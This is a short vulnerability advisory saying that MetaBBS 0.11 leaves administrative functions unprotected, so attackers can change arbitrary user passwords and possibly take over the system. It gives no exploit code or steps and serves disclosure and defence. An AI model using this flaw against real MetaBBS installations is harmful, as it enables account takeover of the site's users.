MetaBBS is prone to a vulnerability that lets attackers modify arbitrary user passwords because it fails to adequately secure access to administrative functionality.

Exploiting this issue may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

MetaBBS 0.11 is vulnerable; other versions may also be affected.
